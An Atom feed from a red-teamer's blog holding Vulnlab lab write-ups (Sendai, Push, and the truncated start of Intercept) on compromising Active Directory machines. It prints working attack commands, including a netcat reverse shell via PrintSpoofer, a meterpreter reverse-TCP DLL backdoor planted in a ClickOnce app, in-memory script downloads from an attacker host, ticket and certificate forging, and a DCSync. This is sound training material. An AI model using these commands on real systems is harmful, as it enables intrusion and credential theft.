<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://jarnovdbrink.nl/feed.xml" rel="self" type="application/atom+xml" /><link href="https://jarnovdbrink.nl/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-09-08T08:30:38+00:00</updated><id>https://jarnovdbrink.nl/feed.xml</id><title type="html">Jarno van den Brink</title><subtitle>Security researcher and red teamer, blog on Windows internals, exploitation and malware development.</subtitle><entry><title type="html">Vulnlab Standalone - Sendai</title><link href="https://jarnovdbrink.nl/posts/VL-Sendai/" rel="alternate" type="text/html" title="Vulnlab Standalone - Sendai" /><published>2024-03-21T00:00:00+00:00</published><updated>2024-03-21T00:00:00+00:00</updated><id>https://jarnovdbrink.nl/posts/VL-Sendai</id><content type="html" xml:base="https://jarnovdbrink.nl/posts/VL-Sendai/"><![CDATA[<p>Sendai is a medium-difficulty standalone challenge that was initially created as a hiring challenge for senior penetration testers and red teamers by XCT. The machine offers two user paths and two root paths, so feel free to explore. I gained initial access using weak credentials, then managed to escalate privileges to a gMSA account, which ultimately gave me access to the MSSQL service account. This allowed me to craft a silver ticket for the Administrator database user. With this access, I was able to enable xp_cmdshell and abuse SeImpersonate privileges using PrintSpoofer to gain a SYSTEM shell.</p>

<p><img src="/assets/img/VL-Sendai/sendai.png" alt="_install" /></p>

<h2 id="initial-access">Initial Access</h2>
<p>Starting off, I added the following entries to the /etc/hosts file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.10.64.43 sendai.vl
10.10.64.43 dc.sendai.vl
</code></pre></div></div>

<p>Started of with an initial nmap scan which revealed the following information:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-14 18:08:52Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
</code></pre></div></div>
<p>Using smbclient I listed the shares and checked if there any shares which are open for unauthenticated use:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient -L \\\\DC.sendai.vl\\
Password for [WORKGROUP\root]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        config          Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        sendai          Disk      company share
        SYSVOL          Disk      Logon server share
        Users           Disk
</code></pre></div></div>
<p>Upon checking the Sendai share I found a txt file mentioning that a penetration test discovered numerous weak passwords and recommending changes as soon as possible. Also in the transfers folder, I found the UserProfiles for a few users within the domain:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> smb: \transfer\&gt; ls
  .                                   D        0  Tue Jul 11 15:00:20 2023
  ..                                  D        0  Tue Jul 18 19:31:04 2023
  anthony.smith                       D        0  Tue Jul 11 14:59:50 2023
  clifford.davey                      D        0  Tue Jul 11 15:00:06 2023
  elliot.yates                        D        0  Tue Jul 11 14:59:26 2023
  lisa.williams                       D        0  Tue Jul 11 14:59:34 2023
  susan.harper                        D        0  Tue Jul 11 14:59:39 2023
  temp                                D        0  Tue Jul 11 15:00:16 2023
  thomas.powell                       D        0  Tue Jul 11 14:59:45 2023
</code></pre></div></div>
<p>I saved the usernames to a file called users.txt and tried common passwords such as Sendai01, Summer2024, etc. This method allowed me to recover the password for the user lisa.williams:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SMB         10.10.64.43     445    DC               [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False)
SMB         10.10.64.43     445    DC               [-] sendai.vl\lisa.williams:[REDACTED] STATUS_PASSWORD_MUST_CHANGE
</code></pre></div></div>
<h2 id="getting-access-to-mgtsvc">Getting access to mgtsvc$</h2>
<p>I reset the password for the user with the smbpasswd tool:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbpasswd -U lisa.williams -r sendai.vl
</code></pre></div></div>
<p>Now that we have valid credentials I ran the remote python bloodhound ingestor to enumerate the environment:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodhound.py --zip -c All -d sendai.vl -u lisa.williams -p P@ssw0rd -dc DC.sendai.vl -ns 10.10.98.198
</code></pre></div></div>
<p>Inspecting the Bloodhound output and further enumerating the domain revealed the following path:</p>
<ul>
  <li>Lisa.willams has GenericAll on the ADMSVC group</li>
  <li>The ADMSVC group can read the gMSA password of the mgtsvc$ user’</li>
</ul>

<p>We can abuse this by adding the lisa.williams user to the ADMSVC group using pth-net:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pth-net rpc group addmem "admsvc" lisa.williams -U sendai.vl/lisa.williams -S 10.10.64.43
</code></pre></div></div>
<p>We can exploit this by adding the lisa.williams user to the ADMSVC group using pth-net:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gMSADumper.py -u 'lisa.williams' -p 'P@ssw0rd' -d 'sendai.vl'
</code></pre></div></div>
<p>Using evil-winrm we can get a shell on the target:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>evil-winrm -i 10.10.98.198 -u 'mgtsvc$' -H [REDACTED]
</code></pre></div></div>
<h2 id="crafting-silver-tickets">Crafting silver tickets</h2>
<p>Now that we have initial access on the DC I enumerated the system a bit. I found that in the C:\config folder there is a file called .sqlconfig which contains the password for the sqlsvc user. Since this user is the service account for the MSSQL service we can forge a silver ticket for a privileged user to escalate privileges. To do this I first created a proxy using chisel which allowes me to interact with the MSSQL service which is running locally. 
On the target machine:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /c C:\temp\chisel.exe client [ATTACKER]:8001 R:1080:socks
</code></pre></div></div>
<p>On the attacker machine:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chisel server -p 8001 --reverse
</code></pre></div></div>
<p>Next I created a silver ticket using the ticketer.py tool from impacket for the Administrator and imported the kerberos ticket:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ticketer.py -spn MSSQL/dc.sendai.vl -domain-sid S-1-5-21-3085872742-570972823-736764132 -nthash [REDACTED] -dc-ip dc.sendai.vl Administrator -domain sendai.vl
export KRB5CCNAME=Administrator.ccache
</code></pre></div></div>
<p>Using this ticket we connect over the proxy to the MSSQL service as Administrator:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>proxychains -q mssqlclient.py dc.sendai.vl -k
</code></pre></div></div>
<p>Since we have administrative rights we can enable xp_cmdshell so we can execute command on the system:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sp_configure 'show advanced options', '1'
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
</code></pre></div></div>

<h2 id="escalating-to-system">Escalating to SYSTEM</h2>
<p>Since we are the sqlsvc$ account we usually have SeImpersonate privileges which allows us to elevate to SYSTEM. We can confirm this by using:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whoami /privileged
</code></pre></div></div>
<p>This confirmed that we indeed have SeImpersonate privileges. Using Printspoofer and netcat I was able to get a reverse shell:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /c C:\temp\PrintSpoofer.exe -c "c:\Temp\nc.exe 10.8.0.49 1337 -e cmd"
</code></pre></div></div>]]></content><author><name></name></author><category term="vulnlab" /><category term="AD" /><summary type="html"><![CDATA[Sendai is a medium-difficulty standalone challenge that was initially created as a hiring challenge for senior penetration testers and red teamers by XCT. The machine offers two user paths and two root paths, so feel free to explore. I gained initial access using weak credentials, then managed to escalate privileges to a gMSA account, which ultimately gave me access to the MSSQL service account. This allowed me to craft a silver ticket for the Administrator database user. With this access, I was able to enable xp_cmdshell and abuse SeImpersonate privileges using PrintSpoofer to gain a SYSTEM shell.]]></summary></entry><entry><title type="html">Vulnlab Chain - Push</title><link href="https://jarnovdbrink.nl/posts/VL-Push/" rel="alternate" type="text/html" title="Vulnlab Chain - Push" /><published>2024-02-21T00:00:00+00:00</published><updated>2024-02-21T00:00:00+00:00</updated><id>https://jarnovdbrink.nl/posts/VL-Push</id><content type="html" xml:base="https://jarnovdbrink.nl/posts/VL-Push/"><![CDATA[<p>Push is a machine rated as hard, which involves backdooring a ClickOnce application and escalating privileges using Resource-Based Constrained Delegation (RBCD). This is followed by exploiting the Certificate Authority (CA) to create a Golden Certificate, enabling lateral movement to the Domain Controller</p>

<p><img src="/assets/img/VL-Push/push.png" alt="_install" /></p>

<h2 id="valid-domain-credentials">Valid Domain Credentials</h2>
<p>Starting off I added the following to the /etc/hosts file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.10.161.85 push.vl
10.10.161.85 DC01.push.vl
10.10.161.86 MS01.push.vl
</code></pre></div></div>

<p>After my initial nmap scans I noticed that anonymous FTP access is enabled on the DC01 machine. Lets try to access it and see if we can find any interesting information:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp MS01.push.vl
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/1.png" alt="_install" /></p>

<p>There is any interesting file called “.git-credentials” let’s download the file and see if it contains any interesting information.
<img src="/assets/img/VL-Push/2.png" alt="_install" /></p>

<p>We see that the file contains credentials for github.com, however it could be that these credentials are being re-use within the active directory domain. Using netexec I confirmed that we indeed have a valid Domain Account:
<img src="/assets/img/VL-Push/3.png" alt="_install" /></p>

<h2 id="domain-enumeration">Domain Enumeration</h2>
<p>Now that we have a valid domain account let’s the remote BloodHound integestor to check if the user has any interesting permissions:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodhound.py -d push.vl -v --zip -c All -dc DC01.push.vl -ns 10.10.161.85 -u 'olivia.wood' -p 'DeployTrust07' --dns-timeout 10
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/4.png" alt="_install" /></p>

<p>I loaded the zip into bloodhound and performed some enumeration. Sadly I didn’t find anything of interest thus I moved on to enumerate if the user can access any interesting shares. After enumerate the SMB shares on the MS01 machine I found out we can access the wwwroot share:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smbclient.py "push.vl"/"olivia.wood":"DeployTrust07"@"10.10.161.86"
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/5.png" alt="_install" />
Now that we have accessed the share lets see the files that we can list. We quickly see that there is something called “SelfService.application” and a setup file. Also a “last-run.txt” file which might be of interest, I downloaded the file and checked the contents. This only revealed that the application’s last execution what about 1 minute ago. This tells us that the applications is actively being used in which we might need to hijack the execution flow or create a backdoor. To do this I uploaded all the application files to a Windows VM to analyze it further.</p>

<p><img src="/assets/img/VL-Push/6.png" alt="_install" /></p>

<p>Now that we have all the files on our Windows machine I tried to run the setup.exe file which gave me the following error:
<img src="/assets/img/VL-Push/7.png" alt="_install" /></p>

<p>I fixed this by running a HTTP server on port 80 and adding the ms01.push.vl in my hosts file like so:</p>

<p><img src="/assets/img/VL-Push/8.png" alt="_install" /></p>

<p>If I now visit ms01.push.vl which basically runs on my localhost I am greeting with the following page:</p>

<p><img src="/assets/img/VL-Push/9.png" alt="_install" /></p>

<p>Looking at this I noticed the text “ClickOnce Resources”. When searching for ClickOnce I stumbled on a <a href="https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5">blog</a> from Istan Toth which uses ClickOnce .NET Apps for Initial Access.</p>

<h2 id="backdooring-clickonce-for-initial-access-on-ms01">Backdooring ClickOnce for Initial Access on MS01</h2>
<p>After reading up on the topic there are two ways we can do this. One is by finding a suitable location to backdoor te assembly, or just replacing a DLL. If we replace a DLL with a malcious one we need to make it meet the following prerequisites:</p>
<ol>
  <li>Replace the digest hashes in the manifest file so the DLL is trusted</li>
  <li>Remove invalid signatures from the modified manifest files.</li>
</ol>

<p>The DLL that we will hijack is the “SelfService.dll.deploy” DLL. Using msfvenom I generated a malicous DLL which we’ll replace in the application:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/x64/meterpreter/reverse_tcp -f dll LHOST=10.8.0.49 LPORT=8080 &gt; SelfService.dll.deploy
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/10.png" alt="_install" /></p>

<p>Now that we have our malicous DLL lets calculate the digest hash so we can replace it in the SelfService.Application</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/11.png" alt="_install" /></p>

<p>And modify the hash and the file of the DLL in the SelfService.dll.manifest file like so:
<img src="/assets/img/VL-Push/12.png" alt="_install" /></p>

<p>If the manifest file was signed, it’ll be invalid because we made some changes, so the signature needs to be removed. First I deleted the “publisherIdentity” and the “Signature elements at the end. And also changed the publicKeyToken attribute to “0000000000000000” (16 zeroes) in the “asmv1:assemblyIdentity” tag at the top. This ensures that the signature won’t be checked and won’t cause an issue if it is missing.</p>

<p><img src="/assets/img/VL-Push/13.png" alt="_install" /></p>

<p>Now we have change the DLL manifest file which is getting referenced by the .application manifest. This means that we also need to recalculate the .application manifest using the same method as used before:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/14.png" alt="_install" /></p>

<p>Now we can once again replace the DigestValue with the new value, replace the publicKeyToken value to 16 zeros and also update the file size.</p>

<p><img src="/assets/img/VL-Push/15.png" alt="_install" /></p>

<p>Now that we have our backdoored ClickOnce application ready we can upload it on the share in hope that we receive a reverse connection. I uploaded the backdoored ClickOnce application and ran my multihandler in hopes to receive a reverse connection. After a minute or so I received my shell as the user kelly.hill.
<img src="/assets/img/VL-Push/16.png" alt="_install" /></p>

<h2 id="domain-privilege-escalation">Domain Privilege Escalation</h2>
<p>If we look at the privileges of the user kelly.hill we can see in bloodhound that the user has AllExtendedRights on the MS01 machine
<img src="/assets/img/VL-Push/17.png" alt="_install" /></p>

<p>Also MachineAccountQuota is set to “10” which means that we are able to do a Resource Based Constrained Delegation (RBCD) attack. 
<img src="/assets/img/VL-Push/18.png" alt="_install" /></p>

<p>I loaded Powermad in memory and created a new machine account as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iex(iwr http://10.8.0.49/Powermad.ps1 -usebasicparsing)
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/19.png" alt="_install" /></p>

<p>Next I loaded PowerView in memory to obtain the Security Identifier (SID) of the newly created computer account:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iex(iwr http://10.8.0.49/PowerView.ps1 -usebasicparsing)
Get-DomainComputer
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/20.png" alt="_install" /></p>

<p>Now we need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
</code></pre></div></div>
<p>However I got some errors while using this command so I instead used the StandIn project from FuzzySecurity. First transfered the binary using certutil:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> certutil -urlcache -f http://10.8.0.49/StandIn_v13_Net35.exe StandIn_v13_Net35.exe
</code></pre></div></div>
<p>And succesfully added the msDS-AllowedToActOnBehalfOfOtherIdentity object to the target computer with StandIn:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /c C:\temp\StandIn_v13_Net35.exe --computer "MS01" --sid "S-1-5-21-1451457175-172047642-1427519037-3602"
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/21.png" alt="_install" /></p>

<p>Next up is transferring the Rubeus binary to the victim machine using certutil:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certutil -urlcache -f http://10.8.0.49/Rubeus.exe Rubeus.exe
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/22.png" alt="_install" /></p>

<p>Now we need to use Rubeus to first hash the plaintext password into RC4_HMAC form.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /c C:\temp\Rubeus.exe hash /password:P@ssw0rd123!
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/23.png" alt="_install" />
Finally we can use Rubeus’ s4u module to get a service ticket for the service name (sname) we want to “impersonate”. I used the following Rubeus command to do this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /c C:\temp\Rubeus.exe s4u /user:attackersystem$ /rc4:7DFA0531D73101CA080C7379A9BFF1C7 /impersonateuser:Administrator /msdsspn:CIFS/MS01.push.vl /nowrap
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/24.png" alt="_install" /></p>

<p>Finally to use this ticket from a Linux host the ticket must be converted from kirbi to ccache format and import via an environment variable. This first step is to convert it from base64encoded kirbi format to ccache format. This can be done with ticketConverter.py from the impacket toolkit:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat ticket.b64 | base64 -d &gt; ticket
ticketConverter.py ticket ticket.ccache
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/25.png" alt="_install" /></p>

<p>Next we can import to ticket into the corresponding evironment variable and use wmiexec.py to gain access as the Domain Administrator</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>export KRB5CCNAME=ticket.ccache
wmiexec.py -k -no-pass administrator@MS01.push.vl -shell-type powershell
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/26.png" alt="_install" /></p>

<p>One thing I noticed during Domain Enumeration is that the Certificate Authority (CA) is installed on the MS01 machine. Because we are now Domain Admin we can forge a CA Certificate which we can then use to move laterally to the DC. Using SharpDPAPI I extracted the certificates:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /c C:\temp\SharpDPAPI.exe certificates /machine
</code></pre></div></div>

<p><img src="/assets/img/VL-Push/27.png" alt="_install" /></p>

<p>Both the private key and the certificate are displayed in the console.</p>

<p><img src="/assets/img/VL-Push/28.png" alt="_install" /></p>

<p>The extracted private key and certificate can be written in to a file with the .PEM file extension. Executing the following can convert the certificate into a usable .PFX format allow to be used for authentication:
<img src="/assets/img/VL-Push/29.png" alt="_install" /></p>

<p>Finally using ceripy can forge a certificate for any domain user using the certicicate for authentication. Executing the following will create a fake certificate for the “DC01$” machine account which we will sign by the private key of the CA certificate:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy forge -ca-pfx cert.pfx -upn administrator@push.vl -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL'
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/30.png" alt="_install" /></p>

<p>Next I tried to use the PFX to authenticate, however I was greeted with the following error:</p>

<p><img src="/assets/img/VL-Push/31.png" alt="_install" /></p>

<p>This means that PKINIT is not supported, however we can bypass this by using <a href="https://github.com/AlmondOffSec/PassTheCert">PassTheCert</a> from AlmondOffSec. First extract the key and cert from the pfx using certipy:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy cert -pfx administrator_forged.pfx -nokey -out cert.crt
certipy cert -pfx administrator_forged.pfx -nocert -out cert.key
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/32.png" alt="_install" /></p>

<p>Now we can use the PassTheCert python script to for elevate privileges for the “olivia.wood” user, so it can DCSync.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>passthecert.py -action modify_user -crt cert.crt -key cert.key -domain push.vl -dc-ip 10.10.161.85 -target olivia.wood -elevate
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/33.png" alt="_install" /></p>

<p>Finally we DCSync using secretsdump to get access to the NTLM hashes on the Domain Controller:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>secretsdump.py PUSH.vl/olivia.wood:'DeployTrust07'@DC01.push.vl
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/34.png" alt="_install" /></p>

<p>And finally using Netexec we confirm we are Domain Admin and obtain the root flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nxc smb DC01.push.vl -u Administrator -H ******************* -x "type C:\Users\Administrator\desktop\root.txt"
</code></pre></div></div>
<p><img src="/assets/img/VL-Push/35.png" alt="_install" /></p>]]></content><author><name></name></author><category term="vulnlab" /><category term="AD" /><summary type="html"><![CDATA[Push is a machine rated as hard, which involves backdooring a ClickOnce application and escalating privileges using Resource-Based Constrained Delegation (RBCD). This is followed by exploiting the Certificate Authority (CA) to create a Golden Certificate, enabling lateral movement to the Domain Controller Valid Domain Credentials Starting off I added the following to the /etc/hosts file: 10.10.161.85 push.vl 10.10.161.85 DC01.push.vl 10.10.161.86 MS01.push.vl After my initial nmap scans I noticed that anonymous FTP access is enabled on the DC01 machine. Lets try to access it and see if we can find any interesting information: ftp MS01.push.vl There is any interesting file called “.git-credentials” let’s download the file and see if it contains any interesting information. We see that the file contains credentials for github.com, however it could be that these credentials are being re-use within the active directory domain. Using netexec I confirmed that we indeed have a valid Domain Account: Domain Enumeration Now that we have a valid domain account let’s the remote BloodHound integestor to check if the user has any interesting permissions: bloodhound.py -d push.vl -v --zip -c All -dc DC01.push.vl -ns 10.10.161.85 -u 'olivia.wood' -p 'DeployTrust07' --dns-timeout 10 I loaded the zip into bloodhound and performed some enumeration. Sadly I didn’t find anything of interest thus I moved on to enumerate if the user can access any interesting shares. After enumerate the SMB shares on the MS01 machine I found out we can access the wwwroot share: smbclient.py "push.vl"/"olivia.wood":"DeployTrust07"@"10.10.161.86" Now that we have accessed the share lets see the files that we can list. We quickly see that there is something called “SelfService.application” and a setup file. Also a “last-run.txt” file which might be of interest, I downloaded the file and checked the contents. This only revealed that the application’s last execution what about 1 minute ago. This tells us that the applications is actively being used in which we might need to hijack the execution flow or create a backdoor. To do this I uploaded all the application files to a Windows VM to analyze it further. Now that we have all the files on our Windows machine I tried to run the setup.exe file which gave me the following error: I fixed this by running a HTTP server on port 80 and adding the ms01.push.vl in my hosts file like so: If I now visit ms01.push.vl which basically runs on my localhost I am greeting with the following page: Looking at this I noticed the text “ClickOnce Resources”. When searching for ClickOnce I stumbled on a blog from Istan Toth which uses ClickOnce .NET Apps for Initial Access. Backdooring ClickOnce for Initial Access on MS01 After reading up on the topic there are two ways we can do this. One is by finding a suitable location to backdoor te assembly, or just replacing a DLL. If we replace a DLL with a malcious one we need to make it meet the following prerequisites: Replace the digest hashes in the manifest file so the DLL is trusted Remove invalid signatures from the modified manifest files. The DLL that we will hijack is the “SelfService.dll.deploy” DLL. Using msfvenom I generated a malicous DLL which we’ll replace in the application: msfvenom -p windows/x64/meterpreter/reverse_tcp -f dll LHOST=10.8.0.49 LPORT=8080 &gt; SelfService.dll.deploy Now that we have our malicous DLL lets calculate the digest hash so we can replace it in the SelfService.Application openssl dgst -binary -sha256 SelfService.dll.deploy | openssl enc -base64 And modify the hash and the file of the DLL in the SelfService.dll.manifest file like so: If the manifest file was signed, it’ll be invalid because we made some changes, so the signature needs to be removed. First I deleted the “publisherIdentity” and the “Signature elements at the end. And also changed the publicKeyToken attribute to “0000000000000000” (16 zeroes) in the “asmv1:assemblyIdentity” tag at the top. This ensures that the signature won’t be checked and won’t cause an issue if it is missing. Now we have change the DLL manifest file which is getting referenced by the .application manifest. This means that we also need to recalculate the .application manifest using the same method as used before: openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64 Now we can once again replace the DigestValue with the new value, replace the publicKeyToken value to 16 zeros and also update the file size. Now that we have our backdoored ClickOnce application ready we can upload it on the share in hope that we receive a reverse connection. I uploaded the backdoored ClickOnce application and ran my multihandler in hopes to receive a reverse connection. After a minute or so I received my shell as the user kelly.hill. Domain Privilege Escalation If we look at the privileges of the user kelly.hill we can see in bloodhound that the user has AllExtendedRights on the MS01 machine Also MachineAccountQuota is set to “10” which means that we are able to do a Resource Based Constrained Delegation (RBCD) attack. I loaded Powermad in memory and created a new machine account as follows: iex(iwr http://10.8.0.49/Powermad.ps1 -usebasicparsing) New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force) Next I loaded PowerView in memory to obtain the Security Identifier (SID) of the newly created computer account: iex(iwr http://10.8.0.49/PowerView.ps1 -usebasicparsing) Get-DomainComputer Now we need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) However I got some errors while using this command so I instead used the StandIn project from FuzzySecurity. First transfered the binary using certutil: certutil -urlcache -f http://10.8.0.49/StandIn_v13_Net35.exe StandIn_v13_Net35.exe And succesfully added the msDS-AllowedToActOnBehalfOfOtherIdentity object to the target computer with StandIn: cmd /c C:\temp\StandIn_v13_Net35.exe --computer "MS01" --sid "S-1-5-21-1451457175-172047642-1427519037-3602" Next up is transferring the Rubeus binary to the victim machine using certutil: certutil -urlcache -f http://10.8.0.49/Rubeus.exe Rubeus.exe Now we need to use Rubeus to first hash the plaintext password into RC4_HMAC form. cmd /c C:\temp\Rubeus.exe hash /password:P@ssw0rd123! Finally we can use Rubeus’ s4u module to get a service ticket for the service name (sname) we want to “impersonate”. I used the following Rubeus command to do this: cmd /c C:\temp\Rubeus.exe s4u /user:attackersystem$ /rc4:7DFA0531D73101CA080C7379A9BFF1C7 /impersonateuser:Administrator /msdsspn:CIFS/MS01.push.vl /nowrap Finally to use this ticket from a Linux host the ticket must be converted from kirbi to ccache format and import via an environment variable. This first step is to convert it from base64encoded kirbi format to ccache format. This can be done with ticketConverter.py from the impacket toolkit: cat ticket.b64 | base64 -d &gt; ticket ticketConverter.py ticket ticket.ccache Next we can import to ticket into the corresponding evironment variable and use wmiexec.py to gain access as the Domain Administrator export KRB5CCNAME=ticket.ccache wmiexec.py -k -no-pass administrator@MS01.push.vl -shell-type powershell One thing I noticed during Domain Enumeration is that the Certificate Authority (CA) is installed on the MS01 machine. Because we are now Domain Admin we can forge a CA Certificate which we can then use to move laterally to the DC. Using SharpDPAPI I extracted the certificates: cmd /c C:\temp\SharpDPAPI.exe certificates /machine Both the private key and the certificate are displayed in the console. The extracted private key and certificate can be written in to a file with the .PEM file extension. Executing the following can convert the certificate into a usable .PFX format allow to be used for authentication: Finally using ceripy can forge a certificate for any domain user using the certicicate for authentication. Executing the following will create a fake certificate for the “DC01$” machine account which we will sign by the private key of the CA certificate: certipy forge -ca-pfx cert.pfx -upn administrator@push.vl -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL' Next I tried to use the PFX to authenticate, however I was greeted with the following error: This means that PKINIT is not supported, however we can bypass this by using PassTheCert from AlmondOffSec. First extract the key and cert from the pfx using certipy: certipy cert -pfx administrator_forged.pfx -nokey -out cert.crt certipy cert -pfx administrator_forged.pfx -nocert -out cert.key Now we can use the PassTheCert python script to for elevate privileges for the “olivia.wood” user, so it can DCSync. passthecert.py -action modify_user -crt cert.crt -key cert.key -domain push.vl -dc-ip 10.10.161.85 -target olivia.wood -elevate Finally we DCSync using secretsdump to get access to the NTLM hashes on the Domain Controller: secretsdump.py PUSH.vl/olivia.wood:'DeployTrust07'@DC01.push.vl And finally using Netexec we confirm we are Domain Admin and obtain the root flag nxc smb DC01.push.vl -u Administrator -H ******************* -x "type C:\Users\Administrator\desktop\root.txt"]]></summary></entry><entry><title type="html">Vulnlab Chain - Intercept</title><link href="https://jarnovdbrink.nl/posts/VL-Intercept/" rel="alternate" type="text/html" title="Vulnlab Chain - Intercept" /><published>2024-02-19T00:00:00+00:00</published><updated>2024-02-19T00:00:00+00:00</updated><id>https://jarnovdbrink.nl/posts/VL-Intercept</id><content type="html" xml:base="https://jarnovdbrink.nl/posts/VL-Intercept/"><![CDATA[<p>Intercept is a hard rated chain which contains two machines WS01 and DC01. The chain 